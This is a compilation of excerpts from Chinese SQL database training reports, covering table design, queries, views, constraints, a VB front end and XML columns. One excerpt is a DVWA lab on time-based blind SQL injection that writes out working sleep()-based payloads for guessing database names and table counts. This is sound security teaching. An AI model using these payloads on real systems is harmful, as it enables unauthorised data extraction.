SQL数据库实训
数据库实训总结7篇
数据库实训总结7篇第1篇示例：数据库实训是数据库课程中非常重要的一环，通过实践操作，能够更好地理解数据库的基本原理和操作技巧。
本次数据库实训总结将从实训内容、实训过程和实训收获三个方面进行回顾。
一、实训内容在数据库实训中，我们主要学习了数据库的设计、建表、插入数据、查询数据、更新数据、删除数据等基本操作。
通过实际操作，我们了解了数据库设计的重要性，设计合理的数据库结构可以提高数据的存储效率和检索效率。
我们还学习了SQL语句的编写，掌握了SELECT、INSERT、UPDATE、DELETE等关键字的用法，能够灵活查询和操作数据库中的数据。
我们还学习了索引、视图、触发器等高级技术，进一步提升了数据库操作的水平。
二、实训过程在实训过程中，我们首先完成了数据库设计和建表的工作，根据需求分析确定了数据库的表结构，并创建了相应的表。
接着，我们通过SQL语句插入了大量的测试数据，以便后续的查询和操作。
然后，我们对数据库中的数据进行了各种操作，包括查询特定条件下的数据、更新数据、删除数据等。
在操作过程中，我们遇到了一些问题，如SQL语句的书写错误、查询条件设置不当等，但通过思考和实践，最终都得到了解决。
三、实训收获通过数据库实训，我们积累了丰富的数据库操作经验，掌握了SQL语句的基本用法和高级技术。
我们学会了如何设计合理的数据库结构，如何提高查询效率，如何保证数据的完整性和一致性。
我们还培养了团队合作能力和解决问题的能力，通过与同学一起讨论和思考，共同解决实训中遇到的难题。
通过实践操作，我们真正理解了数据库理论知识的应用，提升了自己的实际操作能力。
数据库实训是一次非常有意义的实践活动，通过实践操作，我们不仅巩固了数据库课程中学到的知识，还培养了实际操作能力和团队合作精神。
希望今后能够继续学习和探索数据库领域的知识，不断提升自己的专业水平。
【内容结束】第2篇示例：数据库实训总结数据库实训是大学生学习数据库课程的重要环节，通过实践操作，学生可以更深入地了解数据库的基本概念和操作技能。
数据库实训总结
数据库实训总结SQLServer数据库管理课实训报告这个星期是我们SQLServer数据库管理课的实训，经过一个星期的实训，让我将书本上的理论与实践相结合，领会到了许多平时课堂上所没有接受的课外知识课外训练，懂得如何去运用自己学到的书本上的知识，而进行的一次分析设计综合的训练。
而本次实训的目的是让我们掌握数据库系统的原理、技术，将理论与实际相结合，应用现有的数据库管理系统软件，规范、科学地完成一个设计与实现。
其实说心里话，在实训数据库之前我对数据库这门课程是既抗拒又害怕的。
从第一节课开始，我在很认真的听老师讲课，而且自己也非常有信心学好这门课程。
但是上了一个月的课程后我发现，对于数据库我学的完全是迷迷糊糊，对于查询命令学的也是似懂非懂，后来老师授课的内容开始越积越多，我不会的没弄懂的也越积越多，最后开始害怕这门课上课，更害怕这门课考试。
抱着不想挂科的心理，在数据库实训之前，我抽了一个星期的时间仔细地看了书，并且把课后习题仔仔细细地重新做了一遍，对这本书的整个知识体系在脑袋里面有个大概的印象，后来老师告诉我们这次实训的目标，于是我对这次实训工作胸中就开始有大致的轮廓。
这次我们实训的内容是从数据库、数据表的创建和修改开始的，我知道了：表是建立关系数据库的基本结构，用来存储数据具有已定义的属性，在表的操作过程中，有查看表信息、查看表属性、修改表中的数据、删除表中的数据及修改表和删除表的操作。
从实训中让我更明白一些知识，表是数据最重要的一个数据对象，表的创建好坏直接关系到数数据库的成败，表的内容是越具体越好，但是也不能太繁琐，以后在实际应用中多使用表，对表的规划和理解就会越深刻。
我们实训的另一个内容是数据库的约束、视图、查询。
查询语句的基本结构，和简单SELECT语句的使用，多表连接查询。
而在视图的操作中，也了解到了视图是常见的数据库对象，是提供查看和存取数据的另一种途径，对查询执行的大部分操作，使用视图一样可以完成。
数据库应用与安全管理实训 SQL注入(时间盲注)1
实训SQL注入（时间盲注）1一、实训目的1. 了解SQL注入的常用方式2. 掌握SQL时间盲注的方法二、实训环境1. DVWA平台2. Firefox浏览器（谷歌浏览器）三、实训内容1. 配置DVWA平台进入DVWA平台，选择DVWA Security，将安全级别设置为Low。
2. 测试SQL注入点（1）点击SQL Injection（Blind），进入测试页面。
（2）使用参数1' and sleep(5) #进行提交，页面明显延迟。
使用参数1 and sleep(5) #进行提交，页面没有延迟。
说明是基于字符的时间盲注。
（3）猜解数据库名的长度。
具体命令如下：•1' and if(length(database())=1,sleep(5),1) # //没有延迟•…………•1' and if(length(database())=4,sleep(5),1) # //明显延迟（4）二分法猜解数据库名。
具体命令如下：•1' and if(ascii(substr(database(),1,1))>97,sleep(5),1)# //明显延迟•……•1' and if(ascii(substr(database(),1,1))<100,sleep(5),1)# //没有延迟•1' and if(ascii(substr(database(),1,1))>100,sleep(5),1)# //没有延迟修改substr函数的第二个参数，如substr(database(),2,1)进行测试，可以获得数据库的第二个字母。
（5）猜解数据库表的数量。
具体命令如下：•1' and if((select count(table_name) from information_schema.tables wheretable_schema=database() )=1,sleep(5),1)# //没有延迟•1' and if((select count(table_name) from information_schema.tables wheretable_schema=database() )=2,sleep(5),1)# //明显延迟（6）猜解数据库表名的长度。
数据库实训报告实验总结
一、实验背景随着信息化时代的到来，数据库技术已成为当今社会的重要技术之一。
为了提高我国高校学生的实践能力，培养适应社会发展需求的数据库技术人才，我校组织了数据库实训课程。
通过本次实训，使学生们能够掌握数据库的基本原理、设计方法和应用技术，提高解决实际问题的能力。
二、实验目的1. 理解数据库的基本概念和原理；2. 掌握数据库的设计方法和步骤；3. 学会使用数据库管理系统进行数据库的创建、修改和查询；4. 培养学生分析问题、解决问题的能力；5. 提高学生的团队合作意识和沟通能力。
三、实验内容本次数据库实训主要包括以下内容：1. 数据库基本概念：数据库、数据库系统、数据库管理系统等；2. 关系数据库：关系模型、关系代数、关系运算等；3. SQL语言：数据定义语言（DDL）、数据操纵语言（DML）、数据控制语言（DCL）等；4. 数据库设计：需求分析、概念结构设计、逻辑结构设计、物理结构设计等；5. 数据库实现：使用数据库管理系统进行数据库的创建、修改和查询；6. 数据库应用：使用数据库技术解决实际问题。
四、实验过程1. 需求分析：根据实训要求，分析数据库所需解决的问题，确定数据库的功能和性能指标；2. 概念结构设计：根据需求分析，设计数据库的概念结构，包括实体、属性和实体间的关系；3. 逻辑结构设计：将概念结构转换为逻辑结构，包括确定表结构、字段类型、约束条件等；4. 物理结构设计：根据逻辑结构设计，确定数据库的物理存储方式，包括数据文件、索引文件等；5. 数据库创建：使用数据库管理系统创建数据库，包括创建表、索引、视图等；6. 数据操作：使用SQL语言进行数据插入、删除、更新和查询等操作；7. 数据库应用：使用数据库技术解决实际问题，如数据备份、恢复、安全等。
五、实验总结1. 理论与实践相结合：本次实训使我深刻认识到，数据库技术不仅包括理论知识，还需要将理论应用于实践，解决实际问题；2. 数据库设计的重要性：数据库设计是数据库应用的基础，一个良好的数据库设计可以提高数据库的性能和可用性；3. SQL语言的应用：SQL语言是数据库操作的核心，熟练掌握SQL语言可以提高数据库操作效率；4. 团队合作与沟通：在实训过程中，与团队成员密切配合，共同完成任务，提高了我的团队合作意识和沟通能力；5. 实验心得：通过本次实训，我对数据库技术有了更深入的了解，掌握了数据库的基本原理、设计方法和应用技术，为今后的学习和工作打下了坚实的基础。
SQL数据库实验报告
湖北国土资源职业学院SQL数据库实验报告2010-2011 学年第二学期实验名称数据库应用技术班级测量0902指导老师侯文平学生姓名杨然系（部）测绘工程系实训时间2011年5月实验一注册服务器与创建数据库一、实验目的1.熟悉SQL Server 2005管理平台的环境2.掌握注册服务器的过程3.了解Microsoft SQL Server中系统数据库中的数据4.掌握创建库5.掌握创建数据表二、实验内容1. 使用联机丛书2．注册服务器3．创建数据库4．创建数据表三、仪器、设备、材料微机四、实验准备1．理论知识预习及要求①服务器组的创建；②服务器的注册；③创建数据库；④创建数据表；2．实验指导书预习及要求上机前先预习第一、二章的内容及附录A中的实验一，理解注册服务器的作用。
3．其他准备无五、实验原理或操作要点简介注意服务器要先启动，才能与服务器建立连接。
六、注意事项要养成为文件取有意义名称的习惯。
要及时保存文件，避免死机或断电造成的文件丢失。
创建过程中，出现问题时，请保存，请老师解答。
创建过程中，若出现找不到相应的问题时，要看联机丛书，逐步学会自学。
七、实验过程与指导1. 使用联机丛书（操作步骤参考教材P273实验一中的操作步骤）2．注册服务器（操作步骤参考教材P8）3．创建数据库（操作步骤参考教材P12，要求将数据库存储在最后一个磁盘，以自己姓名命名的文件夹，如F:\hwp）4．创建数据表以界面方式建立一个学生基本情况表（tblStudent），建立的要求如下表。
以界面方式建立一个班级表（tblClass），建立的要求如下表。
5．往表中插入记录①往tblStudent表中插入记录。
观察：●蔡文姬的性别在输入的时，没有输入，输入完成后，变成了什么？为什么？●曹操的性别误输入为“国”，也成功的存储了。
我们可以在保存数据前做什么工作，防止用户输入错误的发生？继续，往tblStudent表中插入记录。
输入完成，提交更新行时，会出现下面错误提示：思考：该提示的含义是什么，由什么原因引起？②往tblClass表中插入记录。
sql数据库实训报告
sql数据库实训报告1.引言SQL（Structured Query Language）是一种用于管理关系数据库系统的计算机编程语言。
在日常生活和工作中，我们难免会遇到需要存储和管理大量数据的情况，而SQL数据库正是解决这类问题的有效工具。
在本次实训中，我们学习了SQL数据库的基本概念、语法和操作，以及如何利用SQL数据库进行数据的增删改查等操作。
本报告将总结实训过程中的所学内容。
2.实训目标与环境搭建实训的目标是让学员了解并熟悉SQL数据库的基本操作，并能够运用所学知识完成实际的数据管理和查询任务。
为了实现这一目标，我们需要先行搭建实训环境，包括安装和配置数据库软件等。
3.数据库设计与建表在使用SQL数据库进行数据管理之前，我们首先需要进行数据库设计和建表操作。
数据库设计是根据实际业务需求，确定数据库的表结构、字段类型、主外键关系等，以便于更好地管理和查询数据。
在建表过程中，我们需要考虑到数据的一致性、完整性和安全性等方面的问题。
4.数据导入与查询数据导入是将已有的数据导入到SQL数据库中的过程。
在实际工作中，我们通常会遇到需要存储和管理大量已有数据的情况，而不是从零开始创建数据。
通过数据导入操作，我们可以将Excel表格、CSV文件等数据源快速导入到数据库中，并进行相应的查询操作。
5.数据的增删改查数据的增删改查是SQL数据库最常用的操作之一。
通过SQL 语句，我们可以实现数据的插入、更新、删除和查询等功能。
通过实际的案例演练，我们可以了解到不同类型的SQL语句及其使用方法，以及如何通过这些语句实现对数据的操作。
6.索引和优化在实际的数据库管理中，如果数据量庞大，查询效率就会成为一个较大的问题。
为此，我们需要对数据库进行索引和优化操作，以提升查询效率。
通过在适当的字段上添加索引，可以加快数据的查找速度；通过调整数据库的参数设置和优化查询语句，可以提高数据库的整体性能。
7.备份和恢复数据库的备份和恢复是非常重要的工作，尤其在面临数据丢失或数据库受损等情况时。
sql数据库实训总结(文档)
sql数据库实训总结(文档)sql数据库实训总结sql数据库实训总结,SQL是Structured Query Language(结构化查询语言)的缩写。
SQL是专为数据库而建立的操作命令集，是一种功能齐全的数据库语言。
下面是共享的sql数据库实训总结，欢迎阅读!sql数据库实训总结我在sql server 索引基础学问系列中,第一篇就讲了记录数据的基本格式。
那里主要讲解的是，数据库的最小读存单元：数据页。
一个数据页是8k大小。
对于数据库来说，它不会每次有一个数据页变化后，就存到硬盘。
而是变化达到一定数量级后才会作这个操作。
这时候，数据库并不是以数据页来作为操作单元，而是以64k的数据(8个数据页，一个区)作为操作单元。
区是管理空间的基本单位。
一个区是八个物理上延续的页(即 64 kb)。
这意味着 sql server 数据库中每 mb 有 16 个区。
为了使空间分配更有效，sql server 不会将全部区别配给包含少量数据的表。
sqlserver 有两种类型的区：统一区，由单个对象全部。
区中的全部 8 页只能由所属对象使用。
混合区，最多可由八个对象分享。
区中八页的每页可由不同的对象全部。
通常从混合区向新表或索引分配页。
当表或索引增长到 8 页时，将变成使用统一区举行后续分配。
假如对现有表创建索引，并且该表包含的行足以在索引中生成 8 页，则对该索引的全部分配都使用统一区举行。
为何会这样呢?其实很容易：读或写 8kb 的时光与读或写 64 kb的时光几乎相同。
在 8 kb 到 64 kb 范围之内，单个磁盘 i/o 传输操作所花的时光主要是磁盘取数臂和读/写磁头运动的时光。
因此，从数学上来讲，当需要传输 64 kb 以上的 sql 数据时，尽可能地执行 64 kb 磁盘传输是有益的，即分成数个64k 的操作。
由于 64 kb 传输基本上与 8 kb 传输一样快，而每次传输的 sql server 数据是 8 kb 传输的 8 倍。
数据库实验实训报告范文
一、实验背景与目的随着信息技术的飞速发展，数据库技术在各行各业中的应用越来越广泛。
为了使同学们更好地掌握数据库的基本原理、设计方法和应用技术，提高动手能力，本次实验实训旨在通过一系列的数据库实验，使同学们熟悉数据库管理系统的使用，掌握数据库设计、创建、查询、维护等基本操作，提高数据库应用能力。
二、实验环境与工具1. 实验环境：Windows 10操作系统，SQL Server 2019数据库管理系统。
2. 实验工具：SQL Server Management Studio（SSMS）。
三、实验内容与步骤1. 数据库设计（1）分析业务需求：根据实验要求，设计一个学生信息管理系统，包含学生、课程、成绩等实体。
（2）确定实体关系：分析实体之间的联系，确定实体之间的关系，如一对多、多对多等。
（3）设计数据表结构：根据实体关系，设计数据表结构，包括字段名、数据类型、约束等。
2. 数据库创建（1）创建数据库：使用SSMS连接到本地SQL Server实例，创建一个新的数据库。
（2）创建数据表：在数据库中创建学生、课程、成绩等数据表，并设置相应的字段和约束。
3. 数据插入与查询（1）插入数据：向数据表中插入数据，包括学生信息、课程信息、成绩信息等。
（2）查询数据：使用SELECT语句进行数据查询，包括简单查询、条件查询、连接查询等。
4. 数据更新与删除（1）更新数据：使用UPDATE语句更新数据表中指定的记录。
（2）删除数据：使用DELETE语句删除数据表中指定的记录。
5. 视图与存储过程（1）创建视图：根据实际需求，创建视图，简化查询操作。
（2）创建存储过程：编写存储过程，实现数据的批量插入、更新、删除等操作。
四、实验结果与分析1. 数据库设计本次实验中，我们成功设计了一个学生信息管理系统，包括学生、课程、成绩等实体，并确定了实体之间的关系。
数据表结构设计合理，满足业务需求。
2. 数据库创建成功创建了数据库和数据表，并设置了相应的字段和约束。
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西京学院经济管理一系《网络数据库》实训报告专业及班级：电子商务1102姓名：王建学号： 1109071070 指导老师：文小森报告完成时间：2013年6月25日实训一:VB程序开发实训内容:1、熟悉Visual Basic环境2、建立加法器里面有三个命令按钮计算、重新输入、退出三个文本框输入数字及输出结果，窗体标题为加法器要求：设置标签为透明，字体字号颜色均进行设置，加窗体背景图片步骤：1、打开VB6.0，新建工程，创建窗体。
对Form1进行属性设置：Caption : 加法器2、在工具箱中选择文本框，拖动到适当的大小，释放。
以上过程重复三次。
对Text1、Text2、Text3进行属性设置:Text: 清空。
3、在工具箱中连续选择三次Label，分别拖动在三个文本框的左边。
对Label1进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:加数；Font:宋体，三号字。
对Label2进行属性设置：Alignment : 2 –Center；BackStyle:0-Transparent；Caption:被加数；Font:宋体，三号字。
对Label3进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:和；Font:宋体，三号字4、在工具箱中连续选择三次选择CommandButton，分别拖动在三个文本框的下方。
对Command1进行属性设置：Caption：计算；Font:宋体，小五号字。
对Command2进行属性设置：Caption：清除；Font:宋体，小五号字。
对Command3进行属性设置：Caption：退出；Font:宋体，小五号字。
5、选中加法器，对其进行属性设置：Picture:在电脑中选择图片。
6、双击，加代码。
代码如下：3、建立课程选择窗体，如图所示要求：列表框中有滚动条，水平和垂直均可，且在列表框中选科目时文本框中会自动出现所选择的内容。
步骤：1、打开VB6.0，新建工程，创建窗体。
对Fo rm1进行属性设置：Caption :科目选择。
2、在工具箱中选择文本框，拖动到适当的大小，释放。
对Text1进行属性设置:Text: 清空text1。
3、在工具箱中连续选择两次Label，分别拖动在两个文本框的左边。
对Label1进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:姓名；宋体，小二号字，加粗；。
对Label2进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:性别；宋体，小二号字，加粗；对Label3进行属性设置：Alignment : 2 – Center；BackStyle:0-Transparent；Caption:您选择的科目为；宋体，小四号字，加粗；4、在工具箱中连续选择两次选择OptionButton，分别拖动在性别的后面。
对Option1进行属性设置：Caption：男；Font:宋体，小四号字，加粗。
对Option2进行属性设置：Caption：女；Font:宋体，小四号字，加粗。
5、在工具箱中选择ListBox，拖动在第二个文本框的下方，对其进行属性设置：List:数学分析、高等代数、解析几何。
Font:宋体小四号字，加粗。
6、在工具箱中连续选择两次选择CommandButton，分别拖动在文本框的下方。
对Command1进行属性设置：Caption：确定；Font:宋体，小四号字。
对Command2进行属性设置：Caption：取消；Font:宋体，小四号字。
7、选科目选择窗口，对其进行属性设置：Picture:在电脑中选择图片作为背景图片，然后选择两次Label，设置属性：Alignment : 2 –Center；BackStyle:0-Transparent；Caption:制作人王建；宋体，小一号字；8、双击，加代码如4、制作教学信息管理系统的欢迎界面，界面样式自定。
点击进入按钮，界面到用户名密码界面。
样图：（最好有动态字幕出现，要用到计时器）。
步骤：1、打开VB，新建工程，创建窗体。
2、在工具箱中选择Label，拖动Label1，对Label1进行属性设置：Alignment : 2 –Center；BackStyle:0-Transparent；Caption:教学信息管理系统；Font:宋体，粗体，一号字3、在工具箱中连续选择两次选择CommandButton，分别拖动在文本框的下方。
对Command1进行属性设置：Caption：确定；Font:楷体，粗体，小二号字。
对Command2进行属性设置：Caption：取消；Font:楷体，粗体，小二号字。
3、建立计时器。
选择工具箱里的Timer,随意拖动到窗体内，然后在属性面板设置计时器属性，Interval 数值随意设置，最终效果图如下所示。
4、在属性窗口中，找到picture这个单词，对其添加背景图片，选择自己喜欢的，合适的。
5、然后双击窗体，加代码，完成。
代码如下：1.打开VB，，创建对象，添加背景图片，选择两次选择Label，设置属性：Alignment :2 – Center；BackStyle:0-Transparent；Caption用户名和密码；宋体，小四号字；其中密码数字为隐藏Passwordchar:*2.连续选择两次选择CommandButton，分别拖动在文本框的下方。
对Command1进行属性设置：Caption：确定；Font:宋体，小四号字。
对Command2进行属性设置：Caption：取消；Font:宋体，小四号字。
3.添加代码实训二: 菜单设计实训内容：1、建立一个菜单，完成功能进行加减乘除运算。
步骤：打开VB，右键单击，选择菜单编辑器。
代码如下：2、仿照如上方法建立教学信息管理系统菜单。
要求如下，功能可以根据自己所完成的系统不同：查询修改退出学号查询修改密码班级查询关闭姓名查询课程查询步骤：打开VB，右键单击，选择菜单编辑器。
代码如下：以成绩，课程查询为例，班级、姓名、课程查询方法类似类似实训三：创建王建1109071070数据库二、实训内容：1、创建以自己的学号和姓名命名的数据库，数据库大小自定。
要求实训报告中将数据库创建T-SQL脚本复制出来，或者将T-SQL代码直接写出来。
创建三张表，表的结构如下：学生表：字段名数据类型长度允许为空学号 char 8 NOT NULL姓名 char 6性别 char 2出生日期 datedime专业 char 20成绩表：字段名数据类型长度小数位允许为空学号 char 8 NOT NULL课程编号 char 3 NOT NULL成绩 decimal 4(精度) 1课程表：字段名数据类型长度允许为空课程编号 char 3 NOT NULL课程名 char 20学分 int步骤：1、打开SQL，右键单击数据库，选择新建并命名。
2、单击所建数据库，选择表，右键单击新建，分命名为学生表，课程表，成绩表3、将“学生表”中的“学号”字段设为主键。
步骤：建立数据库，在数据库中建立学生表，鼠标右键单击学生表，点设计，右键单击学号，点设为主键。
4、将“成绩表”的“学号”和“课程编号”两个字段组合作为主键。
步骤：在数据库中建立成绩表，鼠标右键单击成绩表，点设计，右键单击学号，点设为主键，按住Ctrl，右键单击课程编号，点设为主键。
5、将“课程表”的“课程编号”设为主键。
步骤：在数据库中建立课程表，鼠标右键单击课程表，点设计，右键单击课程编号，点设为主键。
6、将“成绩表”的“学号”设为“学生表”的外键。
步骤：右键单击数据库关系图，点新建数据库关系图，在图中拖动，使成绩表的学号指向学生表。
7、将“成绩表”的“课程编号”设为“课程表“的外键。
步骤：在数据库关系图中，使成绩表的课程编号指向课程表。
8、将“学生表“的”成绩“字段设置检查约束，成绩值在0到100之间。
步骤：右键单击成绩表，点设计，右键单击成绩，点CHECK约束，点添加，表达式设置为：成绩between 0 and 1009、将“学生表“的”专业“设置默认值约束为”计算机网络“步骤：右键单击学生表，在专业的常规设置中，把默认值或绑定一栏设置为计算机网络。
10、输入记录验证以上约束步骤：输入记录验证以上约束完全正确。
11、给三张表建立联系，每张表至少输入六条记录。
学生表成绩表课程表实训四：查询与视图的建立及应用实训内容：1、通过实验三所建立的三张表，创建一个电子商务专业的视图，字段包括学号、姓名、课程名、成绩、专业步骤：1.打开实验三创建的库下拉菜单右键单击“新建视图”2、添加三三张表，在字段中分别添加，“学号、姓名、课程名、成绩、专业”字段。
3、在专业字段的“筛选器”中输入“电子商务”4、点击执行，选择退出，保存视图为“视图一”。
2、通过计算机网络维护视图查找成绩小于90分的的人，并按成绩排降序（提示：利用查询语句将视图当表来使用）3、通过计算机网络维护视图将…张越‟的成绩改为65分实训五：程序结构及变量的应用实训内容：1、编程：在学生库中查询王大川，若有此人，则用PRINT语句显示该人的姓名，学号，课程名及成绩，否则，显示…查无此人！‟2、根据学生成绩的值，将成绩按以下形式划分等级，成绩在大于等于85 显示为…优…，成绩大于等于75小于85分显示为‟良…，成绩大于等于60小于75为‟及格…，60分以下为‟不及格…，其他显示为”无成绩“。
要求：显示形式为：某某同学成绩等级为优某某同学成绩等级为良3、程序要求显示：现在时间是：那一年几月几日时间，并置欢迎词：“欢迎使用SQL SERVER 2008！”（50分）注意：此处要求时间为当前的系统日期及时间实训六：利用Vb访问SQL SERVER 2008数据库（系统集成）实训内容：设置vb属性，利用vb连接教学信息管理系统然后进行启动。
步骤：打开VB，在工具箱依次选择Dirlistbox、Filelistbox 、Image。
建立文本框，对其进行属性设置。
datesource datefiled实训七：xml语句1、创建表之后并添加记录。
创建一张表学生表(id（char（20））,学生详细信息（xml类型）)use学生库goinsert into学生表(id,学生详细信息)values('001',cast('<学生信息><学号>001</学号><姓名>王大迎</姓名><性别>女</性别><年龄>18</年龄><毕业院校>北京大学</毕业院校></学生信息>'as xml))goselect*from学生表运行结果截图：2、声明变量用来描述学生信息use学生库godeclare@xsxx xmlset@xsxx='<学生信息编号="005"><学号>005</学号><姓名>李大山</姓名><性别>男</性别><年龄>16</年龄><毕业院校>西安电子科技大学</毕业院校></学生信息>'select@xsxx运行结果截图：结果是以超链接形式显示，点击可以显示内容。